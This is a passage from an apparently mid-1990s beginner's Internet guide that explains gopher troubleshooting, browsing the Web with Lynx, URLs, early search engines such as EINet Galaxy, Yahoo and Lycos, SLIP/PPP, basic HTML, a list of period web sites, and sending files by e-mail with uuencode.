400] ( recipes) pat@jaamer Re: VEGAN: Honey Granola63 +014: [ 400] ( recipes) jrtrint@pa Re: OVO-LACTO: Sourdough/Trit 142 + +Each of these represents an article or citing that contains the word wheat, +or some related word. Move the cursor bar (with the down and up arrow +keys) to the one you want to see, hit enter, and it will begin to appear +on your screen. The "score" is a WAIS attempt to gauge how closely the +citing matches your request. Doesn't look like the Supreme Court has had +anything to say about the plant of late! + +Now think of how much time you would have spent logging onto various +databases just to find these relatively trivial examples. + +8.6 WHEN THINGS GO WRONG + +As the Internet grows ever more popular, its resources come under more of +a strain. If you try to use gopher in the middle of the day, at least on +the East Coast of the U.S., you'll sometimes notice that it takes a very +long time for particular menus or database searches to come up. +Sometimes, you'll even get a message that there are too many people +connected to whichever service you're trying to use and so you can't get +in. The only alternative is to either try again in 20 minutes or so, or +wait until later in the day, when the load might be lower. When this +happens in veronica, try one of the other veronica entries. + +When you retrieve a file through gopher, you'll sometimes be asked if you +want to store it under some ludicrously long name (there go our friends +the system administrators again, using 128 characters just because Unix +lets them). With certain MS-DOS communications programs, if that name is +longer than one line, you won't be able to backspace all the way back to +the first line if you want to give it a simpler name. Backspace as far +as you can. Then, when you get ready to download it to your home +computer, remember that the file name will be truncated on your end, +because of MS-DOS's file-naming limitations. Worse, your computer might +even reject the whole thing. What to do? Instead of saving it to your +home directory, mail it to yourself. It should show up in your mail by +the time you exit gopher. Then, use your mail command for saving it to +your home directory -- at which point you can name it anything you want. +Now you can download it. + + +8.7 FYI + + +David Riggins maintains a list of gophers by type and category. You can +find the most recent one at the ftp site ftp.einet.net, in the pub +directory. Look for a file with a name like "gopher-jewels.txt." +Alternately, you can get on a mailing list to get the latest version sent +to your e-mailbox automatically. Send a mail message to gopherjewelslist- +request@tpis.cactus.org (yep, that first part is all one word). Leave +the "subject:" line blank, and as a message, write SUBSCRIBE. + +Blake Gumprecht maintains a list of gopher and telnet sites related to, +or run by, the government. He posts it every three weeks to the +news.answers and soc.answers newsgroups on Usenet. It can also be +obtained via anonymous ftp from rtfm.mit.edu, as +/pub/usenet/news.answers/us-govt-net-pointers. + +Students at the University of Michigan's School of Information and +Library Studies, recently compiled separate lists of Internet resources +in 11 specific areas, from aeronautics to theater. They can be obtained +via gopher at gopher.lib.umich.edu, in the "What's New and Featured +Resources" menu. + +The Usenet newsgroups comp.infosystems.gopher and comp.infosystems.wais +are places to go for technical discussions about gophers and WAISs +respectively. + + + + + +CHAPTER 9: THE WORLD-WIDE WEB + + + +9.1 GETTING SNARED IN THE WEB + +As nice as gophers are, there's an even better way to navigate and find +information resources on the Net -- the World-Wide Web. + +Originally developed as a resource for physicists, the Web today is +fast becoming the Main Street of cyberspace. You'll find interesting +characters wandering around, museums and galleries to visit, schools to +teach you new skills, even restaurants (some of which will deliver real +food in response to e-mail). You name it, chances are somebody's created a +Web server about it. Growing numbers of people even have their own +personal Web "pages" where they let the world know what they're +interested in. + +The Web's exploded in popularity for two reasons. One is that it is +fairly easy to use. As with gophers, you navigate the Web by making +selections from your screen -- no more cryptic Unix commands to memorize. +The Web also lets you connect to FTP sites, so you no longer even have to +use arcane anonymous-FTP commands in most cases. + +But what really sets the Web apart is hyperlinks. To understand +hyperlinks, think of an encyclopedia. As you read an article on, say, +Africa, your eye is drawn to a picture of an elephant. You want to learn +more about the animal, so you get out the "E" volume and look up +"elephant" and start reading. + +Hyperlinks are the online equivalent of this browsing process. Tim +Berners-Lee, who developed the original Web model, came up with a simple +language that lets somebody developing a Web document embed pointers to +related resources. When you then call up that document, you'll see some +words in a different color or somehow otherwise highlighted. By moving +your cursor to one of those words and then hitting enter (or clicking on +it with your mouse, depending on your interface), you'll then call up the +linked document. + +Because these hyperlinks are easy to create (more on that in a bit) -- +anybody can put together a Web resource that can become a central +clearinghouse of information on virtually any topic, linking documents +that could be physically stored in dozens of locations around the world. + + +9.2 ALRIGHT, ALREADY, LET'S GO! + + +We're almost there. But first a word about graphics. If you've heard of +the Web, chances are good you've also heard of Mosaic. Mosaic, developed +at the National Center for Supercomputing Applications at the University +of Illinois, brought a graphical, point-and-click interface to the Web, +and in less than a year became almost synonymous with it. + +There are a couple of problems with Mosaic (and related programs), +however. One is that you need a machine capable of providing a graphical +user interface, such as those running Unix, Windows or the Macintosh +operating system. MS-DOS users are out of luck. So are the blind. +Also, Mosaic requires a fairly large chunk of computing and network +capabilities to work well, so forget about using it on your old 2400-bps +modem). + +If you do have these capabilities, we'll talk about how to set up Mosaic +and similar programs in a bit. But for now, let's look at Lynx, a text- +based program that gives universal access to the Web -- via a simple +dial-up connection in most cases. It doesn't give you the pretty +pictures (although you'll be able to download many of them) and it +doesn't work with a mouse. But it's simple enough to use -- and one +could argue that if you're using the Web just to find information, you +might not want pictures, anyway, because they can take so long to get to +your computer and display. + +Lynx, the creation of Michael Grobe, Lou Montulli and Charles Rezac of +the University of Kansas, will remind you of gophers in many ways. As +with gopher, probably the best way to learn how to use Lynx is just to +dive right in. At your host system's command prompt, type + + lynx + +and hit enter (Free-Net users: go into the "Teleport" area and look for +the "Communications Tower"). If you're lucky, your system administrator +has already installed Lynx and you'll see something like this: + + +-------------------------------------------------------------------------- + GENERAL OVERVIEW OF THE WEB [IMAGE] + + There is no "top" to the World-Wide Web. You can look at it from many + points of view. Here are some places to start. + + [IMAGE] by Subject + The Virtual Library organises information by subject matter. + + List of servers + All registered HTTP servers by country + + by Service Type + The Web includes data accessible by many other protocols. The + lists by access protocol may help if you know what kind of + service you are looking for. + + If you find a useful starting point for you personally, you can + configure your WWW browser to start there by default. + +-- press space for more, use arrow keys to move, '?' for help, 'q' to quit + Arrow keys: Up and Down to move. Right to follow a link; Left to go back. + H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list +-------------------------------------------------------------------------- + + +If nothing happens, consider asking your system administrator to get Lynx +(tell him it's available via anonymous ftp at ftp2.cc.ukans.edu in the +pub/lynx directory). Until he does, you can try out Lynx by using telnet +to connect to this address: + + sunsite.unc.edu + +When you connect, log on as: lynx + +This is a popular site, so it can be slooow at times. Alternately, you +could use telnet to connect to + + ukanaix.cc.ukans.edu + +with a log on of: www + +However, this site (the home of Lynx's creators) will not let you use all +of Lynx's features. + +As you can see from the above, the Web has no real menus, at least not in +the sense that gopher does. Instead, the system is composed of documents +or "pages" (the "title of contents" or opening page on a Web site is +known as its "home page"). If you are using VT100 or similar emulation and +a color monitor, the above screen would have certain words in a different +color than the others. These words are the hyperlinks. By moving your +cursor to one and then hitting enter, you'll move to a new page -- which +could be located on a completely different computer somewhere else in the +world. + +The above main page, which comes from the CERN, the European High-Energy +Physics Research Center (where Tim Berners-Lee developed the Web) has +three main hyperlinks: + + [IMAGE] by Subject + List of servers + by Service Type + +The first one contains a list of various Web resources around the world, +categorized by subject. The second one lists them by continent, country +and then city. The final one lets you browse among non-Web services, +such as our friend gopher and Wide-Area Information Servers (in fact, +you could live your entire Internet life within the Web; not only does it +let you connect to gophers, ftp sites and the like, but with some Web +software, you can even read and reply to Usenet messages as well). To +call up any of them, you move your cursor to it (with the down or up +arrows) and hit enter. + +Play with the Web! Move your cursor around, hit enter, and see where you +pop up. The key navigational keys are your arrow keys. +The up and down arrow keys let you hop among highlighted links. The right +arrow key is the same as enter -- it sends you to the highlighted service. +The left arrow key is analogous to 'u' in gopher -- it takes you back to +the previous document. This arrangement can take a little getting used +to. If there are two hyperlinks listed on one line, you would use your +down or up arrow to move between them -- NOT your right or left ones! + +There are additional navigational commands that will come in handy in a +hypertext system (without them, it would be easy to get lost rather +quickly). A key one is your backspace or delete key. Hitting that will +bring up a list of links you've made in the current session; you can then +choose one if you want to get back somewhere. Hitting m will bring you +back to your "main page," that is, the first page you saw when you +started up Lynx. + + +9.3 ADDRESSING A PROBLEM + + +One feature Lynx has that gophers do not is the ability to go directly to +a service by typing in its address. You get to this function by hitting +a lower-case g at any point in Lynx. Here's where you run into the mess +that is Uniform Resource Locators (URLs). The idea behind URLs is +actually a good one: to create a universal system for accessing +information on the Internet, no matter if it's a single file on an +anonymous-FTP site, an entire gopher server, or a Web image. +Unfortunately, that means that, in WWW, you're going to have to get used +to seeing, and typing, things like: + + http://www.germany.eu.net/books/eegtti/eegtti.html + +(which is actually the Web address for an enhanced version of Everybody's +Guide to the Internet). Ack! The "http" means you're dealing with a WWW +resource -- it stands for "HyperText Transport Protocol," which is the +particular way the Web moves information around the world. Lynx needs +that information to be able to figure out how to connect to the system. + +Next comes the name of the site on which the resource is located, followed +by the directory path. URLs are case sensitive, so be careful! + +In the above example, notice how the last item ends in ".html." That +stands for "HyperText Markup Language," which is the coding used to +create hyperlinks. You'll often find Web addresses ending in that, +because they will be pointers to main pages for particular resources. +Sometimes, if you are trying to reach a service without a main HTML page +(a gopher, for example), you may have to end the address with a /, for +example: gopher://gopher.eff.org/ + +Fortunately, in many cases, you will have to type these long names only +once. Recall how hitting your backspace or delete key creates a list of +hyperlinks to services you've tried in a particular session. You can also +create a list of "bookmarks" to speed you to particular services in the +future. To add a page to your list, hit a lower-case a while on that +page. You'll be asked if you want to add the document or the hyperlink +to your bookmark page. Choose the document option and it'll be added. + +To see your bookmark list, hit v. You'll then be able to zoom to +any services in the list by moving your cursor to its highlighted name +and hitting enter. + + +9.4 IMAGINE THAT -- DOWNLOADING PICTURES + + +As you play with Lynx, you'll notice that some pages will have entries +that look like this: [IMAGE]. If the word is the same color as the other +text on your screen, you won't be able to download it. If it's a +different color or somehow highlighted, you should be able to put your +cursor on it and hit enter. You'll get one of two messages. One says +something about how the "client" can't display an ISMAP image. In that +case, there's not much you can do, except hit your left arrow key to get +back to the previous page -- Lynx at this point can't handle this +particular system for displaying maps. + +The other message also looks potentially frustrating: "This file cannot +be displayed on this terminal. D)ownload or C)ancel." This is actually +good news, however, because it means it's an image you can retrieve. If +you hit a lower-case d, you'll be asked if you want to save the image to +your host system, or if you want to use Zmodem to download it directly to +your own computer. If you're using a communications program with Zmodem, +selecting the latter will immediately start the process of transferring +it to you. The file names will always look something like: L23015.HTM. +In most cases, the files will be GIF images, occasionally JPEG images, +and, rarely, TIFF images. You'll need a GIF/JPEG viewer on your computer +to view these. If you don't have Zmodem, save the image to your host +system. Interestingly, when you do this, you'll get a more descriptive +file name, OLDBONES.GIF instead of L2015.HTM, for example. In either +case, when you're done transferring the file, hit your left arrow key to +get back to the previous page. Before you actually download the file, +you'll see a message indicating how large it is -- handy to know if +you're using a relatively slow modem. + +Sometimes, instead of the above message, you'll get a more forbidding +looking one: + + showpicture -viewer xv /tmp/L229787.html + This message contains a picture, which can currently only be + viewed when running X11. If you read this message while running + X11, and have your DISPLAY variable set, you will then + be able to see the picture properly. + +Yikes! Ignore this and look for the prompt asking if you want to save +this to a file. Hit a lower-case y and you'll be prompted for a name. +Type in whatever you want to call the file and hit enter. You've just +saved a copy of the file to your home directory on your Internet host, +which means that, when you're done with Lynx, you can download it to your +home computer. + +A related function to downloading is retrieving a copy of a document. To +do that, hit p within a document. You'll be given several choices as to +how to retrieve it, including sending it to yourself via e-mail or saving +it to a file in your home directory on your public-access site. + + +9.5 LYNX, MEET GOPHER + + +One of the nice things about Lynx is that you can also use it to reach +non-Web resources, from FTP and telnet sites to gophers. This means that +you can use it as your one-stop interface for Internet information +services. + +Recall earlier how you have to type "http://" as part of the URLs for Web +sites. There are similar prefixes for other types of services, for +example: gopher://, ftp:// and telnet://. + +Telnet is the easiest to use. Say you want to connect to the Electronic +Periodic Table of the Elements at camm57.caos.kun.nl. In Lynx, hit a +lower-case g and then type: + + telnet://camm57.caos.kun.nl + +and hit enter, and you'll be connected. The one caveat with telnet sites +is that many have their own user interfaces, so keys may do different +things than they would if you were connected to a Web site. If you're +ever stuck on a telnet site and can't get out, hit control-] (your +"control" and "]" keys at the same time) to return to Lynx. + +Connecting to an FTP site works basically the same: for example, to get +to ftp.uu.net, type a lower-case g and then + + ftp://ftp.uu.net + +You won't have to log in, though, which is nice. And once you're in, +you'll be able to navigate by making selections off a menu, rather than +having to type any Unix commands. If you already know a particular +file's name and path on a site, you could even go to it directly, by +hitting a lower-case g and then typing in site name and path, like this: + + ftp://ftp.uu.net/systems/ibmpc/msdos/simtel/zip/pkz204g.exe + +Getting to a gopher works basically the same, except you'd substitute +"gopher://" for "telnet://" or "ftp://." Where it does get tricker with +gophers, however, is if you want to get to a specific document or +directory on a gopher. This is because gopher administrators usually +mask their Unix directory names with natural-language titles, for +example, "Sports and recreation" rather than "sports_rec." But URLs use +the Unix paths, so that if you're used to being told "Connect to +gopher.site.com, select 'Society' and then 'Sports and recreation'" you'd +have to translate that into URL-ese as something like: +gopher://gopher.site.com/11/soc/sports_rec. How to find these? Connect to +the top-level gopher address, for example: + + gopher.std.com + +Then make selections until you get to the document or directory you want. +Now either hit a lower-case a to add the path to your bookmark list, or, +if you want to write it down, hit an equal sign, which will show you the +path. + + +9.6 FINDING THINGS ON THE WEB + + +Like Gopher, the Web is a fascinating place to explore -- just keep +following links to see where they take you. In fact, Lynx and other Web +programs are often called "browsers" for just this reason. Eventually, +however, you might want to find something specific on the Web and you +might want to find it now. + +Unlike with Gopher and Veronica, there is no single way to search the Web. +Instead, several organizations around the world have developed different +types of databases that let you find Web documents and hyperlinks. The +ones that follow are all fairly powerful yet relatively easy to use. +Because they all seem to use different methods for finding things, it can +sometimes be worthwhile to try several of them as part of your search -- +you'll find different resources with each. An added bonus is that +often, the people who maintain one search "engine" will provide quick +links to the others, making it easy for you to get from one to the other. + +One of the more useful systems is EINet Galaxy, run by the +Microelectronics and Computer Technology Corp. in Austin, Texas, both +because it's easy to use and because it lets you search for both Web and +Gopher resources. + +To get to it, hit a lower-case g within Lynx and then type: + + http://galaxy.einet.net + +When you connect, you'll actually see what looks an awful lot like a +table of contents or index for the entire Internet -- dozens of entries +on broad topics from architecture to sociology. If you're not in a hurry, +these entries can prove an interesting introduction to just what's +avaialable these days. But today, we are in a hurry, so keep hitting +enter until you see something that looks like this: + + + Search for: ____________________ Search Clear selections [40 hits_] + ( )Galaxy Pages ( )Galaxy Entries ( )World-wide Web ( )Gopher + ( )Hytelnet + + + Up - Home - Help - Search - Top -- EINet Galaxy + +First, notice the "Search" in the bottom list of options. If you moved +your cursor to that and hit enter, you'd be given a list of links to +other searchable databases of Web resources. But for now, move your +cursor (with the down-arrow key) until it's on the dashes. Here is where +you type in the word or words you're looking for (don't worry about +capitalization). Now it gets slightly tricky (because the system was +designed with mouse users in mind). Hit your down-arrow key until you +get to the space before "Galaxy Entries." Hit enter, and you'll see an +asterisk appear. As you might surmise, you're telling the system to +search for your keyword among "Galaxy Entries" (which are those indexed +listings we just passed over). Hit your down arrow again to move to the +"World-wide Web" entry and hit enter again. Do it once more for Gopher. +Now use your up key to move backwards, until the word "Search" is +highlighted. Hit enter. + +EINet Galaxy now starts a search of its database, looking for any +potential matches in both Web and Gopher documents. Let's say you were +searching for information about the King, ol' Elvis himself. Had you +used "Elvis" as your search word, something like this would come back: + + + Galaxy Entry Results - for `` elvis'' + + 4 documents found + + * ELVIS+ WWW server from RUSSIA - Score: 1000 Size: 29 + * Elvis Aron Presley Home Page - Score: 1000 Size: 28 + * Elvis Aron Presley Home Page - Score: 1000 Size: 28 + * The Elvis Costello home page - Score: 1000 Size: 28 + + World-wide Web Results - for `` elvis'' + + 28 documents found +(Option list) Hit return and use arrow keys and return to select option + +Each of the lines starting with an asterisk turns out to be a hyperlink +to a particular Web server. Curious about the first one, you move your +cursor there and hit enter -- and discover that a group of Russian +computer programmers have set up a software company they've decided to +call ELVIS+. OK. So you hit your left arrow key to get back to the +EINet Galaxy search results. Try the next one, and you find yourself +reading about the King. The "score" represents the database's attempt to +show you how relevant a particular item is to your search. If the word +you're looking for appears in a document's title or first paragraph, for +example, it will score higher in the databases 1-to-1000 ranking than if +it did not appear until the very last paragraph. + +Another good Web info-searcher is David Filo and Jerry Yang's Yahoo server +at Stanford University (it stands for something along the lines of "Yet +Another Hierarchically Organized Oracle"). It'll remind you of EINet +Galaxy -- it, too, provides a table-of-contents type of interface to Web +(no Gopher) services, along with a more specific search tool. You'll +want to connect to: + + http://akebono.stanford.edu/yahoo + +One of your choices in a menu bar across the bottom of the screen will be +"Search." Select it, and you'll get a small form similar to EINet +Galaxy's. Although Yahoo will let you find all sorts of resources, it +really shines in the area of online businesses and the services they +offer. + +Lycos at Carnegie-Mellon University is a third search system, which is +interesting in part because of the way new entries are added to its +database. Part of Lycos consists of an automated "web crawler" that +periodically, well, crawls around the Web looking for new servers and +documents. It then adds the information to the database. Connect to +http;//lycos.cs.cmu.edu. You'll be given a choice of searching Lycos1, +Lycos2 or Lycos3. These are different computers, but each contains the +same database, so it doesn't really matter which one you choose (unless +one doesn't work, then try one of the others). You'll then get a page +with these choices: + + Lycos Search Language description + Form-based search with options (same database) + Register your own URLs with Lycos or Delete your own URLs + Lycos: Frequently Asked Questions + +Select the second one and hit enter, which will bring up the search form. +It will then return a list of potentially relevant documents -- along +with snippets from those documents to help you decide whether you want +to look at them. By default, the computer will only respond with the +first 10 matches it finds. You can change that via a setting in the +search form. + + +9.7 SLIP: BUT I WANT TO USE MY MOUSE! + +OK, so you have a Windows computer or Macintosh and you want to use the +Internet via a point-and-click interface. You can. Many Internet +providers now offer Serial Line Internet Protocol (SLIP) or Point to +Point Protocol (PPP) connections. Among other things, this sort of link +will let you run a growing number of programs that let you fully +integrate everything from e-mail to the Web into the interface with which +you're familiar -- you can use your mouse, drag and drop things, etc. +IBM now includes such software as part of its OS/2 operating system, +while Microsoft Corp. has similar plans for its Windows 95 operating +system. There are also several companies that offer complete graphical +Internet starter kits. For example, O'Reilly and Associates sells an +"Internet in a Box" kit for Windows users. And two Internet providers, +Netcom and Pipeline, offer their own, proprietary graphical user +interfaces for the Internet. + +Although using these programs can be easy, setting them up is sometimes a +pain (it gets even more complex if you decide to download free and low- +cost software from the Internet that provides the same features). First, +check with your provider to see if they do offer SLIP or PPP access, and +if so, at what price (some may charge extra). If they do not, ask if +they will allow the use of The Internet Adapter, software that lets +Macintosh and Windows users use graphical programs via a standard dial-up +connection. + +9.8 MORE ON SLIP + +Computers tied directly to the Internet communicate with each other using +a standard known as Transmission Control Protocol/Internet Protocol +(TCP/IP). This standard allows for direct interaction between these +computers -- so that, for example, you can tap into a database halfway +around the world over the Net (it also deals with such issues as routing +information from A to B). + +This is NOT what you are doing when you dial into a public-access site +with, say, Procomm. Once your computer and your host establish a link, +your computer basically goes to sleep and you interact with the network +via programs on your host. That terminal emulation you always have to +remember to set is merely a way to tell the host system what kind of +keyboard to pretend you'd be using if you were actually at the host +computer sitting at one of its terminals. All of the programs you need to +run to interact with the Net, from mail and Usenet readers to Gopher and +Lynx, are actually running on your provider's computer (or network); the +only time your computer wakes up is when you do something like download a +file (and even then, you're not using any particular Internet program). + +SLIP makes your computer an active participant on the network (PPP +essentially does the same thing). With a SLIP account, it's essentially +your host that goes to sleep, acting only as a sort of doorway to the +rest of the Internet for you and your computer. Now your computer has +direct access to TCP/IP message packets (which can be anything from e- +mail to World-Wide Web images). Of course, this also means you'll need +all the software to do things sitting on your hard drive. Think of it as +the difference between renting an apartment, where the landlord takes +care of the maintenance, and owning your own house, where you gain the +freedom to do things the way you want. + + +9.9 HTML: BUILDING YOUR OWN + + +A growing number of Internet providers let users set up their own Web +home pages. If your providers is one of these, and you want to tell the +world your story, you'll need to know the HyperText Markup Language +(HTML). Fortunately, this is tedious rather than difficult to learn, and +there are HTML "authoring" programs out there that can help reduce the +burden. + +The basic idea behind HTML is to embed codes within a standard ASCII text +document that tell the computer displaying the document to do something, +whether that's to put a word in bold, display an image, or jump to +another document. Here's what a simple HTML command looks like: + + Web Intro + +HTML commands are always between such brackets. The first instruction +tells the computer that what is to follow is a document title and to +display it at the top of the page (in Lynx, that's actually the top right +hand corner of the screen). The ending command, again in brackets, tells +the computer that that's the end of that instruction. The user doesn't +see these commands. + +There are similar HTML commands for paragraphs, italics, inserting +graphics, creating lists, etc. The command for linking to another +document elsewhere on the Web looks like this: + + Boston Online + +Note that the URL is in quotation marks. The "a" (or "anchor") command +tells your Web browser that a link is about to be displayed. "Boston +Online" will be highlighted when a user calls up the page. The "" at +the end tells the browser to go back to normal type. + +To build a Web page, you'll need at least two things. First is +permission from your provider and instructions relating to your specific +site (for example, where to put the documents you create). Second is a +guide to HTML (see FYI below) and a word processor capable of creating +ASCII or text documents. Third, and optionally, is an HTML authoring +program that can help relieve you of the drudgery of typing in all those +HTML commands (again, see FYI below). + + +9.10 SOME INTERESTING WWW SERVERS + + +AREA CODES + +http://www.xmission.com/~americom/ Ever wondered what the area code is +for Watertown, NY, or the country code for Andorra? Help is now as near +as your keyboard. AmeriCom, a long-distance company, has created a Web- +based server with info on some 80,000 cities around the world. + +ART + +http://www.wimsey.com/Pixel_Pushers/ The Electronic Art Gallery in +Calgary is exactly what it sounds like. + +BOSTON + +http://www.std.com/NE/boston.html An online guide to the city that +modestly calls itself the Hub of the Universe, from restaurant and movie +listings to car-repair recommendations and neighborhood profiles. + +CALIFORNIA + +http://www.research.digital.com/SRC/virtual-tourist/California.html This +is your basic tourist-info center just over the state line on the +Information Highway. It offers everything from traffic and road- +condition reports to maps and pictures of tourist attractions. + +CHINA + +http://www.ihep.ac.cn:3000/ihep.html This is the People's Republic's +first Internet connection, run by the Institute for High Energy Physics +in Beijing, providing everything from e-mail addresses of Chinese +scientists to information on Chinese regions and a directory of foreign +companies in Beijing. + +DINOSAURS + +http://www.hcc.hawaii.edu/dinos/dinos1.html Look here for images of +dinosaur skeletons. + +DUBLIN + +http://www.dsg.cs.tcd.ie/dsg_people/czimmerm/pubs.html This is "the +definitive review of Dublin's watering holes.'' + +ENVIRONMENT + +http://www.econet.apc.org/lcv/scorecard.html See how your local +congressman/woman is ranked by the League of Conservation Voters. + +http://polyn.net.kiae.su/polyn/manifest.html A group of researchers at +the Kurchatov Institute for Atomic Energy in Moscow have created a World- +Wide Web resource devoted to the Chernobyl melt-down. + +GAMES + +http://wcl-rs.bham.ac.uk/GamesDomain The Games Domain is the place to go +for information on dozens of computer games. Resources include lists of +hints for specific games and an online games magazine. + +GOVERNMENT + +http://www.fedworld.gov FedWorld is a gateway to dozens of federal +information services in the U.S., some free, some requiring a fee to use. + +http://thomas.loc.gov The Library of Congress's Thomas (as in Thomas +Jefferson) service lets you look up pending bills by keyword and read +the Congressional Record (back to January, 1994). + +LAW + +http://www.law.cornell.edu/lii.table.html Cornell University's Legal +Information Institute provides a variety of law-related documents, +including information on specific legal issues and copies of U.S. Supreme +Court decisions. + +http://venable.com/vbh.html Venable, Batejer, Howard and Civiletti is a +Washington, D.C. law firm. Its Web server includes online newsletters on +various legal topics. + +LEGOS + +http://legowww.itek.norut.no/catalog/index.html Yes, it's a set of +documents (with pictures) all about the little plastic blocks with the +pegs on top. + +MOVIES + +http://www.cm.cf.ac.uk/Movies/moviewquery.html You can search for +filmographies for particular actors and directors here. + +http://bvp.wdp.com/BVPM/ The Buena Vista Pictures Web server has +information and photos of current Disney and Buena Vista Pictures movies +-- even some QuickTime loops for Macintosh owners (caveat: those are +large files). + +MUSIC + +http://www.music.indiana.edu/misc/music_resources.html This resource at +Indiana University will help you find Web sites devoted to virtually +every type of music and band. + +NEW ZEALAND + +http://www.cs.cmu.edu:8001/Web/People/mjw/NZ/MainPaige.html Your personal +guided tour of New Zealand, complete with pictures of its cities, scenery +and people, begins here. + +PATENTS + +http:/town.hall.org/patent/patent.html. This database, run by the +Internet Multicasting Service, lets you search for U.S.-issued patents +from 1994 on. + +REAL ESTATE + +http://www.gems.com/realestate/ Real-estate listings from several +cities around the U.S. + +SLOVENIA + +http://www.ijs.si/slo.html Learn more about the former Yugoslav republic +in words and photographs. + +SMALL BUSINESS + +http://www.sbaonline.sba.gov The U.S. Small Business Administration uses +its Web site to provide tips for businesses and lists of available +resources. + +SOUTH DAKOTA + +http://www.state.sd.us All you ever wanted to know about the state, from +tourist attractions to pending legislation, can be found here. + +SPACE + +http://sspp.gsfc.nasa.gov/ Look here for info on discount space flights +from NASA, like the "Get Away Special" -- only $27,000 to launch a +90-pound cannister aboard a space shuttle. + +TIME WASTERS + +http://www.primus.com/staff/paulp/useless.html It's amazing what some +people are using the Web for. There's the guy in California who's +connected his hot tub and refrigerator, so you can check the temperature +in both; people who let you send messages to their cat; digital cameras +that take periodic snapshots of coffee pots. Paul Phillips has assembled +links to them all. + +WINE + +http://augustus.csscr.washington.edu/personal/bigstar-mosaic/wine.html +Look for information about the grape beverage here. Besides links to +other Internet resources, it also lets you leave tasting notes for other +enthusiasts, and provides information on wineries in Washington +state. + + +9.11 LYNX COMMANDS + +Down arrow Go to next highlighted link +Up arrow Go to previously highlighted link +Right arrow Same as hitting enter on a highlighted link +Left arrow Move back to previous document ++ Scroll down to next page +- Scroll back to previous page +? or h Help +a Add current page to bookmark file +c Send a comment to the creator of the current document +d Download the document on your screen +g Go to specific resource (you'll have to type in its + address, or URL) +m Return to main, or first, screen +o Set personal options (for example, your e-mail address) +p Print, save or download a document +v View your bookmark file +z Cancel document or image transfer +backspace View your past links in the current session +delete Same as backspace += Get address information for current file or link +/ Scan the current document for a keyword + + +9.12 WHEN THINGS GO WRONG + + +* You try to connect to a site, but get an error message along the lines +of "ERROR 404 Not found - file doesn't exist or is read protected [even +tried multi]" + +Re-check the spelling of the site address you entered. WWW addresses are +case-sensitive, so that might be a problem, as well. Hit your left arrow +key, then g, then try entering the address again. It is also possible you +did nothing wrong, but that the person in charge of maintaining the site +either forgot to set the document so that outsiders could read it or +deleted it without telling anybody. + +* You know the URL is correct, but when you type it in and hit enter, you +get a "not available" message. + +Sometimes, links just don't seem to work the first time. Hit g and enter +again and it may work the second time. + +* You try to use g to get to a new site and nothing happens. + +Lynx does not seem to let you go to sites from error-message pages and +some other pages. If that happens, hit your left arrow, then try again. + +* You try to go to the next (or previous) hyperlink on a page, but are +instead transported to an entirely different document. + +Chances are you tried to get to the next hyperlink by using your left or +right arrow keys, rather than your down or up keys (remember, this'll +take some getting used to). If you think you hit your right arrow key, +now hit your left arrow key and you'll be brought back to the original +page. If you hit your left arrow key, go to your history page (by +hitting your delete key) and then chose the appropriate page to which you +want to return. + + +9.13 FYI + +If you want to see what's new each week on the Web, check out the What's +New service at http://gnn.com/gnn.wn.whats-new.html. You'll also find +postings of new services in the alt.internet.services and +comp.infosystems.www.announce Usenet newsgroups. + +Once a month, Thomas Boutell posts a WWW FAQ (answers to "Frequently +Asked Questions") in the news.answers and comp.infosystems.www newsgroups +in Usenet. You can also retrieve a copy via anonymous ftp (or ncftp) at +rtfm.mit.edu. Look in the pub/usenet/news.answers/www directory for a +file called faq. + +The National Center for Supercomputing Applications maintains a good +introductory guide to HTML and related programs at +http://union.ncsa.uiuc.edu/HyperNews/get/www/html.html + +You can get more information about TIA software via anonymous ftp at +marketplace.com. In the /tia directory, you'll find copies of the +software for several Unix varieties. In the /tia/docs directory, you'll +find documentation, answers to frequently asked questions, etc. + +Frank Hecker's "Personal Internet Access Using SLIP or PPP; How You Use +It, How It Works," gives a good overview of how the two protocols work. +It's available via FTP at ftp.digex.net as +/pub/access/hecker/internet/slip-ppp.txt or via the World-Wide Web at +http://www.charm.net/ppp.html. + +At that latter URL, you'll find numerous other documents and programs +related to SLIP/PPP access, including information and files related to +Macintosh SLIP service. + +Henry Kriz has written a three-part series on connecting Windows computers +to the Internet via TCP/IP, SLIP, etc. that goes into more technical +detail than what you've just read. It's available via anonymous FTP at +nebula.lib.vt.edu in the /pub/windows/winsock directory. Look for a file +with a name like wtcpip05.asc, where the two digits in the first part of +the name indicate the current version number. + + + + + + +Chapter 10: ADVANCED E-MAIL + + + +10.1 THE FILE'S IN THE MAIL + + +E-mail by itself is a powerful tool, and by now you may be sending e-mail +messages all over the place. You might even be on a mailing list or two. +But there is a lot more to e-mail than just sending messages. If your +host system does not have access to ftp, or it doesn't have access to +every ftp site on the Net, you can have programs and files sent right to +your mailbox. And using some simple techniques, you can use e-mail to +send data files such as spreadsheets, or even whole programs, to friends +and colleagues around the world. + +A key to both is a set of programs known as encoders and decoders. For +all usefulness, basic Net e-mail has a big problem: it can't handle +graphics characters or the control codes found in even the simplest of +computer programs. Encoders however, can translate these into forms +usable in e-mail, while decoders turn them back into a form that you can +actually use. If you are using a Unix-based host system, chances are it +already has an encoder and decoder online that you can use. These +programs will also let you use programs posted in several Usenet +newsgroups, such as comp.binaries.ibm.pc. + +If both you and the person with whom you want to exchange files use Unix +host systems, you're in luck because virtually all Unix host systems have +encoder/decoder programs online. For now, let's assume that's the case. +First, upload the file you want to send to your friend to your host site +(ask your system administrator how to upload a file to your name or +"home" directory if you don't already know how). Then type + + uuencode file file > file.uu + +and hit enter. "File" is the name of the file you want to prepare for +mailing, and yes, you have to type the name twice! The > is a Unix +command that tells the system to call the "encoded" file "file.uu" (you +could actually call it anything you want). + +Now to get it into a mail message. The quick and dirty way is to type + + mail friend + +where "friend" is your friend's address. At the subject line, type the +name of the enclosed file. When you get the blank line, type + + ~r file.uu + +or whatever you called the file, and hit enter. (on some systems, the ~ +may not work; if so, ask your system administrator what to use). This +inserts the file into your mail message. Hit control-D, and your file is +on its way! + +On the other end, when your friend goes into her mailbox, she should +transfer it to her home directory. Then she should type + + uudecode file.name + +and hit enter. This creates a new file in her name directory with +whatever name you originally gave it. She can then download it to her +own computer. Before she can actually use it, though, she'll have to +open it up with a text processor and delete the mail header that has been +"stamped" on it. If you use a mailer program that automatically appends +a "signature," tell her about that so she can delete that as well. + +The past couple of years have seen the development of the Multi-purpose +Internet Mail Extensions (MIME), which make e-mailing these files +even easier. + +If you use an e-mail program such as cc:Mail or Microsoft Mail at work, +or if you dial into bulletin-board systems, then you're used to the idea +of file attachments -- you write a message, and then tell the computer 